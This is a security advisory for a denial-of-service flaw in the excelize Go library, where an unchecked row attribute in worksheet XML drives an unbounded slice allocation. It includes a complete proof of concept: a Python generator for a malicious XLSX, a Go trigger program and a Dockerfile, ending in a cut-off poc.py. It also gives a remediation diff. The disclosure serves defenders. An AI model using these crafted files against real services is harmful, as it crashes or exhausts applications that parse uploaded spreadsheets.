Improper resource allocation In github.com/xuri/excelize/v2
Description
Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS) ## Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS) ### Summary The checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required. ### Details The vulnerable code path is triggered by calling GetCellValue (or any API that internally invokes workSheetReader) on an XLSX file containing a crafted worksheet row element. Data flow (source → sink): 1. excelize.go:186-193 — OpenReader reads attacker-controlled spreadsheet bytes. 2. excelize.go:216-223 — ZIP reader is created and passed to ReadZipReader. 3. lib.go:43-77 — ZIP entries are read into fileList; worksheet XML is stored by part name. 4. excelize.go:228-229 — XML bytes are stored in f.Pkg. 5. cell.go:71-79 — Public GetCellValue enters the worksheet value-read path. 6. cell.go:1492-1494 — getCellStringFunc calls workSheetReader. 7. excelize.go:313-324 — Worksheet XML is decoded into xlsxWorksheet. 8. xmlWorksheet.go:302-312 — <row r="..."> is deserialized into xlsxRow.R int with no validation (source). 9. excelize.go:357-377 — checkSheet() accumulates the maximum r value; sink: make([]xlsxRow, row) allocates a slice of that size before any bounds check. Vulnerable code (excelize.go:373-377): go if r.R != 0 && r.R > row { row = r.R } sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation The constant TotalRows = 1048576 is defined in templates.go:190 but is never applied before the make() call in checkSheet(), leaving the allocation fully attacker-controlled. Variant A (r = 2147483647): make([]xlsxRow, 2147483647) attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with fatal error: runtime: out of memory. Variant B (r = -1): The first loop in checkSheet() leaves row = 0 because the condition r.R != 0 is false for r.R = -1. The second loop then executes sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], triggering runtime error: index out of range [-2] at excelize.go:381. Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is: panic: runtime error: index out of range [-2] goroutine 1 [running]: github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...) /excelize/excelize.go:381 github.com/xuri/excelize/v2.(*File).workSheetReader(...) /excelize/excelize.go:329 github.com/xuri/excelize/v2.(*File).getCellStringFunc(...) /excelize/cell.go:1494 github.com/xuri/excelize/v2.(*File).GetCellValue(...) /excelize/cell.go:72 main.main.func1(...) /excelize/cmd/poc/main.go:44 main.main() /excelize/cmd/poc/main.go:52 Recommended remediation (excelize.go): diff -func (ws *xlsxWorksheet) checkSheet() { +func (ws *xlsxWorksheet) checkSheet() error { ... for i := 0; i < len(ws.SheetData.Row); i++ { r := ws.SheetData.Row[i] + if r.R < 0 { + return newInvalidRowNumberError(r.R) + } + if r.R > TotalRows { + return ErrMaxRows + } ... ws.SheetData = *sheetData + return nil } ### PoC Step 1: Generate the malicious XLSX python import zipfile # Variant B: Panic → row = "-1" row = "-1" with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''') z.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''') z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets> </workbook>''') z.writestr("xl/_rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''') z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData> </worksheet>''') Step 2: Trigger the vulnerability go package main import "github.com/xuri/excelize/v2" func main() { f, err := excelize.OpenFile("malicious.xlsx") if err != nil { panic(err) } defer f.Close() _, err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make() if err != nil { panic(err) } } Expected results: - Variant A (r="2147483647"): process is killed by the OOM killer (fatal error: runtime: out of memory or exit code 137). - Variant B (r="-1"): process panics with runtime error: index out of range [-2] at excelize.go:381 (exit code 2). Both variants were confirmed in a Docker container with --memory 256m --memory-swap 256m. The malicious XLSX payload is a few hundred bytes. ### Impact This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses github.com/xuri/excelize/v2 to open attacker-supplied XLSX files and subsequently calls any cell-reading API (GetCellValue, GetRows, GetCols, or any function that internally triggers workSheetReader). Who is impacted: - Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools). - CLI tools or batch jobs that parse user-supplied spreadsheet files. - Any application using the library to handle untrusted XLSX documents. The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application. ### Reproduction artifacts #### Dockerfile dockerfile # Target: github.com/xuri/excelize/v2 @ commit f4a068b # # attribute is used directly as make([]xlsxRow, row) size with no bounds check. # # Variant B (r=-1): Panic — second loop does sheetData.Row[-2] (index OOB) FROM golang:latest AS builder # Copy the vulnerable excelize library source (serves as the Go module) COPY repo/ /excelize/ # Copy the exploit main package written by poc.py COPY vuln-001/exploit_main.go /excelize/cmd/poc/main.go WORKDIR /excelize # CGO_ENABLED=0: produce a statically-linked binary for the runtime stage. RUN CGO_ENABLED=0 GOFLAGS="-mod=mod" go build -o /poc ./cmd/poc/ # Minimal runtime stage (golang image provides a libc for cgo-free binary too) FROM golang:latest COPY --from=builder /poc /poc ENTRYPOINT ["/poc"] #### poc.py ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() CWE-770 — Allocation of Resources Without Limits or Throttling Repository: qax-os/excelize Commit: f4a068b Exploit mechanism: xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and uses the attacker-controlled attribute directly as the length argument to make([]xlsxRow, row) without any bounds validation against TotalRows (1,048,576). Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error Variant B (r=-1): first loop leaves row=0; second loop executes sheetData.Row[-1-1] → runtime panic: index
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
go | 2.11.0 |
Aliases
References